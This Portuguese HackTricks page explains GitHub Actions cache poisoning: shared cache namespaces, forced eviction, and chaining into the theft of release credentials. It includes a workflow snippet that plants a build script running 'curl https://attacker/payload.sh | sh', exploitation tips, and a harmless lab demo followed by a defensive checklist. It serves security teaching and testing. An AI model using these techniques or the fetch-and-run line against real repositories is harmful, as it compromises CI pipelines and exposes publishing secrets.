GH Actions - Cache Poisoning

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Visão geral

O cache do GitHub Actions é global para um repositório. Qualquer workflow que conheça uma key do cache (ou restore-keys) pode popular essa entrada, mesmo que o job tenha apenas permissions: contents: read. O GitHub não segrega caches por workflow, tipo de evento ou nível de confiança, então um atacante que comprometa um job de baixo privilégio pode envenenar um cache que um job de release privilegiado irá restaurar posteriormente. Foi assim que o comprometimento da Ultralytics pivoteou de um workflow pull_request_target para a pipeline de publicação do PyPI.

Primitivas de ataque

  • actions/cache expõe operações de restore e save (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). A chamada de save é permitida para qualquer job, exceto workflows realmente não confiáveis de pull_request disparados a partir de forks.
  • Entradas do cache são identificadas unicamente pela key. restore-keys amplos facilitam injetar payloads porque o atacante só precisa colidir com um prefixo.
  • Cache keys e versions são valores especificados pelo cliente; o serviço de cache não valida que uma key/version corresponda a um workflow confiável ou a um caminho de cache.
  • A URL do servidor de cache + o runtime token são de longa duração em relação ao workflow (historicamente ~6 horas, agora ~90 minutos) e não são revogáveis pelo usuário. Desde o final de 2024 o GitHub bloqueia escritas no cache após o job originário ser concluído, então atacantes precisam escrever enquanto o job ainda estiver em execução ou pré-envenenar keys futuras.
  • O sistema de arquivos em cache é restaurado literalmente. Se o cache contiver scripts ou binários que sejam executados depois, o atacante controla esse caminho de execução.
  • O próprio arquivo de cache não é validado na restauração; é apenas um arquivo compactado com zstd, então uma entrada envenenada pode sobrescrever scripts, package.json, ou outros arquivos sob o caminho de restauração.

Exemplo de cadeia de exploração

Workflow do autor (pull_request_target) envenenou o cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Fluxo de trabalho privilegiado restaurado e executou o cache envenenado:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

O segundo job agora executa código controlado pelo atacante enquanto possui credenciais de release (PyPI tokens, PATs, cloud deploy keys, etc.).

Poisoning mechanics

As entradas de cache do GitHub Actions são tipicamente zstd-compressed tar archives. Você pode criar uma localmente e enviá-la para o cache:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

On a cache hit, a ação de restauração vai extrair o archive tal como está. Se o caminho do cache inclui scripts ou arquivos de configuração que são executados depois (build tooling, action.yml, package.json, etc.), você pode sobrescrevê-los para obter execução.

Dicas práticas de exploração

  • Mire workflows acionados por pull_request_target, issue_comment, ou comandos de bot que ainda salvam caches; o GitHub permite que eles sobrescrevam chaves do repositório mesmo quando o runner tem apenas acesso de leitura ao repo.
  • Procure chaves de cache determinísticas reutilizadas através de fronteiras de confiança (por exemplo, pip-${{ hashFiles('poetry.lock') }}) ou restore-keys permissivos, então salve seu tarball malicioso antes do workflow privilegiado ser executado.
  • Monitore logs por entradas Cache saved ou adicione seu próprio passo de cache-save para que o próximo job de release restaure o payload e execute os scripts ou binários trojanizados.

Técnicas mais recentes observadas na cadeia Angular (2026)

  • Cache v2 “prefix hit” behavior: No Cache v2, misses exatos ainda podem restaurar outra entrada que compartilha o mesmo prefixo de chave (efetivamente “all keys are restore keys”). Atacantes podem pré-semeiar chaves próximas à colisão para que um miss futuro caia no objeto envenenado.
  • Forced eviction in one run: Desde 20 de novembro de 2025, o GitHub evicta entradas imediatamente quando o uso de cache do repositório excede o limite (10 GB por padrão). Um atacante pode fazer upload de dados de cache lixo primeiro, remover entradas legítimas durante o mesmo job e então gravar a chave de cache maliciosa sem esperar pelo ciclo diário de limpeza.
  • setup-node cache pivots via reusable actions: Ações reutilizáveis/internas que envolvem actions/setup-node com cache-dependency-path podem ligar silenciosamente fluxos de trabalho de baixa confiança a fluxos de alta confiança. Se ambos os caminhos fizerem hash para chaves compartilhadas, envenenar o dependency cache pode executar em automações privilegiadas (por exemplo jobs do Renovate/bot).
  • Chaining cache poisoning into bot-driven supply chain abuse: No caso Angular, o cache poisoning expôs um bot PAT, que então pôde ser usado para force-push dos heads de PR pertencentes ao bot após aprovação. Se regras de reset de aprovação isentarem atores bot, isso permite trocar commits revisados por commits maliciosos (por exemplo SHAs de actions impostoras) antes do merge.

##å Cacheract

Cacheract é um toolkit focado em PoC para GitHub Actions cache poisoning em testes autorizados. O valor prático é que ele automatiza as partes frágeis que são fáceis de errar manualmente:

  • Detectar e usar o contexto de runtime do cache a partir do runner (ACTIONS_RUNTIME_TOKEN e cache service URL).
  • Enumerar e mirar chaves/versões candidatas de cache usadas por workflows a jusante.
  • Forçar eviction preenchendo a cota de cache (quando aplicável) e então gravar entradas controladas pelo atacante na mesma execução.
  • Semear conteúdo de cache envenenado para que workflows posteriores restaurem e executem tooling modificado.

Isso é especialmente útil em ambientes Cache v2 onde timing e comportamento de chave/versão importam mais do que em implementações iniciais de cache.

Demonstração

Use isto apenas em repositórios que você possui ou para os quais tem permissão explícita para testar.

1. Vulnerable workflow (untrusted trigger can save cache)

Este workflow simula um anti-padrão do pull_request_target: ele grava conteúdo de cache a partir de um contexto controlado pelo atacante e salva sob uma chave determinística.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Fluxo de trabalho privilegiado (restaura e executa binário/script em cache)

Este workflow restaura a mesma chave e executa toolchain/bin/build enquanto mantém um segredo fictício. Se envenenado, o caminho de execução é controlado pelo atacante.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Executar o laboratório

  • Adicione um arquivo estável toolchain.lock para que ambos os workflows resolvam a mesma chave de cache.
  • Dispare untrusted-cache-writer a partir de um PR de teste.
  • Dispare privileged-consumer via workflow_dispatch.
  • Confirme que POISONED_BUILD_PATH aparece nos logs e que /tmp/cache-poisoning-demo.txt foi criado.

4. O que isto demonstra tecnicamente

  • Cross-workflow cache trust break: Os workflows writer e consumer não compartilham o mesmo nível de confiança, mas compartilham o mesmo namespace de cache.
  • Execution-on-restore risk: Nenhuma validação de integridade é realizada antes de executar um script/binário restaurado.
  • Deterministic key abuse: Se um job de alta confiança usar chaves previsíveis, um job de baixa confiança pode preposicionar conteúdo malicioso.

5. Lista de verificação defensiva

  • Separe as chaves por limites de confiança (pr-, ci-, release-) e evite prefixos compartilhados.
  • Desative gravações de cache em workflows não confiáveis.
  • Faça hash/verifique o conteúdo executável restaurado antes de executá-lo.
  • Evite executar ferramentas diretamente de caminhos de cache.

References

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks